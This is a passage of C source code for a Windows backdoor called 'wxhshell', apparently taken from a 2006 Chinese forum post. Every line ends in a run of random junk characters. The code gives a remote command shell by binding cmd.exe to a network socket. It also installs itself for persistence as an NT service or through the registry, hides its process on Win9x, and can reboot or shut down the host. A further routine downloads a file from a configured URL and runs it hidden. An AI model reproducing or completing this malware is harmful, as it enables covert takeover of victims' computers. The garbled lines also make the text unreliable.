  // 帮助 \|K;-pL  
  case '?': { Uf,4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c 9jGq  
    break; $ibuWb"a  
  } Q9Q|lO  
  // 安装 $]8h $  
  case 'i': { $jg*pmR-  
    if(Install()) ;INW`b~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZmb!}m+d  
    else 435;Vns\n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9ksE>[7  
    break; ]niJG t  
    } 2z|*xS'G  
  // 卸载 &o<F7U'R  
  case 'r': { /r=tI)'$  
    if(Uninstall()) ~ {Mn{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n(el]_d  
    else -Y='_4s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q_t`.jus  
    break; !tp1:'KG  
    } v;0|U:`]  
  // 显示 wxhshell 所在路径 5Lf{8UxI  
  case 'p': { TYQwy*  
    char svExeFile[MAX_PATH]; -e8}Pm "  
    strcpy(svExeFile,"\n\r"); Hbpqyl%O>  
      strcat(svExeFile,ExeFile); /"B?1?qc,=  
        send(wsh,svExeFile,strlen(svExeFile),0); 6qaulwV4t  
    break; ndeebXw*  
    } 46 PoM  
  // 重启 0A( +ZMd  
  case 'b': { =" g*\s?r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K#U<ib-v  
    if(Boot(REBOOT)) T8HF|%I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J2^'Xj_V  
    else { x l#LrvxI  
    closesocket(wsh); }oNhl^JC  
    ExitThread(0); [h,QBz  
    } )LyojwY_g  
    break; 'Tc]KXD6  
    } ~t~-A,1  
  // 关机 oIefw:FE,a  
  case 'd': { ;vIrGZV<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y_QH&GZ  
    if(Boot(SHUTDOWN)) *Q,0W:~-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-b*D}&  
    else { K=,F#kn  
    closesocket(wsh); 3#TV5+x*"`  
    ExitThread(0); GxKqD;;u?=  
    } 'CN|'W)g7  
    break; *;Ed*ibf  
    } QPfc(Z  
  // 获取shell ^6_Cc  
  case 's': { dX)GPC-D7  
    CmdShell(wsh); PZ*pQ=`  
    closesocket(wsh); %b"\bHH  
    ExitThread(0); 1[yq0^\]M[  
    break; ('hE r~&  
  } E~_]Lfs)  
  // 退出 E8~}PQW:I  
  case 'x': { :Cp'm'omb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /=gOa\k|p  
    CloseIt(wsh); 2^l[(N  
    break; =hMY2D  
    } R<=zCE`:  
  // 离开 ~>+]%FPv  
  case 'q': { LH@j8YB5u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o!!yd8~*r  
    closesocket(wsh); 0eS)&GdR  
    WSACleanup(); pb=cBZ$  
    exit(1); 7__Q1 > o  
    break; 4'LB7}WG  
        } P`e!Z:  
  } 6CMub0   
  } "1HRLci  
k+DR]icv  
  // 提示信息 'FS?a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :M6+p'`j  
} uIDuGrt  
  } Xt'sQ}  
INyk3`FT  
  return; sn?]n~z  
} _`pD`7:aI^  
H[='~%D  
// shell模块句柄 I;1lX L  
int CmdShell(SOCKET sock) ?A )hN8  
{ &[ ;HYgp  
STARTUPINFO si; 6A=8+R'`F  
ZeroMemory(&si,sizeof(si)); |H! 9fZO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #2EI\E&$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _z1(y}u}  
PROCESS_INFORMATION ProcessInfo; {Pc<u gfl  
char cmdline[]="cmd"; 6l4mS~/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]| +<P-  
  return 0; Ey4z.s'-l  
} V@\%)J'g  
@`,1:  
// 自身启动模式 -%I2[)F<  
int StartFromService(void) B0ndcB-  
{ QQV~?iW{~  
typedef struct izx#3u$P  
{ 37RLE1Yf  
  DWORD ExitStatus;  &CG*)bE  
  DWORD PebBaseAddress; vVgg0Y2  
  DWORD AffinityMask; e@ \p0(  
  DWORD BasePriority; QurW/a  
  ULONG UniqueProcessId; ZPD[5) ~  
  ULONG InheritedFromUniqueProcessId; Cj?L@%"  
}   PROCESS_BASIC_INFORMATION; RJ$7XCY%`*  
FSRj4e1y1  
PROCNTQSIP NtQueryInformationProcess; E{n:J3_X^d  
A l`e/a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @S 7sr-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NMi45y(Y  
bcZf>:gVf  
  HANDLE             hProcess; jr`Ess  
  PROCESS_BASIC_INFORMATION pbi; -c}, :G"  
+(+Itmx2&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q pmsOp|  
  if(NULL == hInst ) return 0; E=#0I]v[  
%bdjBa}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "1-}A(X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _IdRF5<4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HWVtop/  
UA yC.$!  
  if (!NtQueryInformationProcess) return 0; m{7(PHpw  
Ogp"u b8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \~5C7^_  
  if(!hProcess) return 0; S*sT] J`!  
DK oN}c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "kA*Vc#  
m-jHze`D3  
  CloseHandle(hProcess); E~AjK'Z  
D91e\|]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wGZR31  
if(hProcess==NULL) return 0; \{EpduwZ  
>|Cw\^  
HMODULE hMod; @GvztVYo  
char procName[255]; Z*FrB58  
unsigned long cbNeeded; K_ ci_g":  
C*G=cs\i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); np4+"  
=?-ye!w  
  CloseHandle(hProcess); IO/4.m-aN#  
41_SRh7N  
if(strstr(procName,"services")) return 1; // 以服务启动 .n=Z:*JqQ  
s-S }i{Z!  
  return 0; // 注册表启动 SM^-Z|d?  
} Q 3y;$"  
 3S&U!  
// 主模块 }>[G5[ \  
int StartWxhshell(LPSTR lpCmdLine) CV{r5Sye  
{ 1=]kWp`i  
  SOCKET wsl; 0Ld@H)  
BOOL val=TRUE; JO@|*/mL  
  int port=0; LE%7DW(  
  struct sockaddr_in door; _H^^y$+1  
SKW%X8  
  if(wscfg.ws_autoins) Install(); L-9~uM3@\  
ys#i@  
port=atoi(lpCmdLine); E.iSWAJ(w  
& V)6!,rb  
if(port<=0) port=wscfg.ws_port; ~QZ"Z tu  
10#f`OPC  
  WSADATA data; (4%YHS8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ve/xnn]'  
5~yNqC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x[Wwq=~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0=="^t_  
  door.sin_family = AF_INET; c1xrn4f@a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *;XWLd#  
  door.sin_port = htons(port); Y+3!f#exm  
$:of=WTY(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8#D:H/`'  
closesocket(wsl); `4 y]Z)  
return 1; 8#&q$kE  
} s-ZI ^I2\  
zY|klX})  
  if(listen(wsl,2) == INVALID_SOCKET) { NOS>8sy  
closesocket(wsl); EbZdas!l  
return 1; 5p +ZD7jK  
} 3or\:  
  Wxhshell(wsl); #YSF&*  
  WSACleanup(); &ciN@nJ|$z  
S{K0.<,E  
return 0; 8/"fWm/  
q-Qxbg[>e  
} P6Mhbmt9*  
7FF-*2@  
// 以NT服务方式启动 _qWliw:0#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gc$gJnQio  
{ 9Ok9bC'?8@  
DWORD   status = 0; J4YBqp  
  DWORD   specificError = 0xfffffff; :ZDMNhUl &  
178Mb\8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9RwawTM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !SKV!xH9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ++Ww88820  
  serviceStatus.dwWin32ExitCode     = 0; tW;:-  
  serviceStatus.dwServiceSpecificExitCode = 0; s[Ur~Wvn  
  serviceStatus.dwCheckPoint       = 0; 1J? dK|% b  
  serviceStatus.dwWaitHint       = 0; "EV!>^Z  
dC<LDxlv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qSx(X!YS  
  if (hServiceStatusHandle==0) return; dC1V-x10ju  
Xq4|uuS-O  
status = GetLastError(); T%Pp*1/m7  
  if (status!=NO_ERROR) c '\SfW<  
{ jn.C|9/mj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @d&/?^dp6  
    serviceStatus.dwCheckPoint       = 0; :3$}^uzIq  
    serviceStatus.dwWaitHint       = 0; ]P[%Mhg^  
    serviceStatus.dwWin32ExitCode     = status; 0ji q-3V)  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?U7) XvQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aTzDew  
    return; _P?\.W@  
  } x#C@8Bxq=  
:|1.seLQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HvxJj+X9  
  serviceStatus.dwCheckPoint       = 0; M=]5WZO~A  
  serviceStatus.dwWaitHint       = 0; X _$a,"'~)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jw ,izxia  
} S. |FL%;  
dr q hQ  
// 处理NT服务事件,比如:启动、停止  d^|0R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >`jU`bR@  
{  st 'D  
switch(fdwControl) MEiRj]t  
{ j 6ut}Uq  
case SERVICE_CONTROL_STOP: B%\gkl  
  serviceStatus.dwWin32ExitCode = 0; 5HS~op2n/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q*)+K9LRk  
  serviceStatus.dwCheckPoint   = 0; rbqo"g`  
  serviceStatus.dwWaitHint     = 0; ,LOQDIyn  
  { xdy^ ^3"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); smQVWs>  
  } _;RVe"tR#  
  return; {I{:GcS  
case SERVICE_CONTROL_PAUSE: $ex!!rqN|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X%9*O[6{  
  break; 4F MAz^  
case SERVICE_CONTROL_CONTINUE: Br d,Eg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cz^Q5F`  
  break; fYrGpW( `  
case SERVICE_CONTROL_INTERROGATE: (ozb%a#B  
  break; o5aLU Wi-  
}; c3 &m9zC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;pRcVL_4  
} T{vR,  
iwY'4 Z e  
// 标准应用程序主函数 YW; Hk1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y0ckm6^  
{ P|jF6?C  
=GR 'V  
// 获取操作系统版本 Dmdy=&G  
OsIsNt=GetOsVer(); 8n?kZY$,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9j|gdfb%ml  
%zo= K}u  
  // 从命令行安装 1MA@JA:T  
  if(strpbrk(lpCmdLine,"iI")) Install(); G.U 5)4_^  
4-v6=gz.  
  // 下载执行文件 5 ZfP  
if(wscfg.ws_downexe) { 7k=fZ$+O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m W`oq  
  WinExec(wscfg.ws_filenam,SW_HIDE); g2p"LWex-  
} T,JA#Rk|1N  
UmKX*T9  
if(!OsIsNt) { eR!G[Cw-  
// 如果时win9x,隐藏进程并且设置为注册表启动 @=uN\) 1  
HideProc(); $1*3!}_0  
StartWxhshell(lpCmdLine); gH:ArfC  
} Wf>^bFb"$  
else t0m*PJcF  
  if(StartFromService()) W$?e<@  
  // 以服务方式启动 'qv;sB.  
  StartServiceCtrlDispatcher(DispatchTable); #%S0PL"x U  
else $;D* n'8Fx  
  // 普通方式启动 ;8B.;%qkL  
  StartWxhshell(lpCmdLine); CHaE;olo  
3 EYiQ`  
return 0; yqSY9EX7  
}
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只看该作者 1 发表于: 2006-10-10
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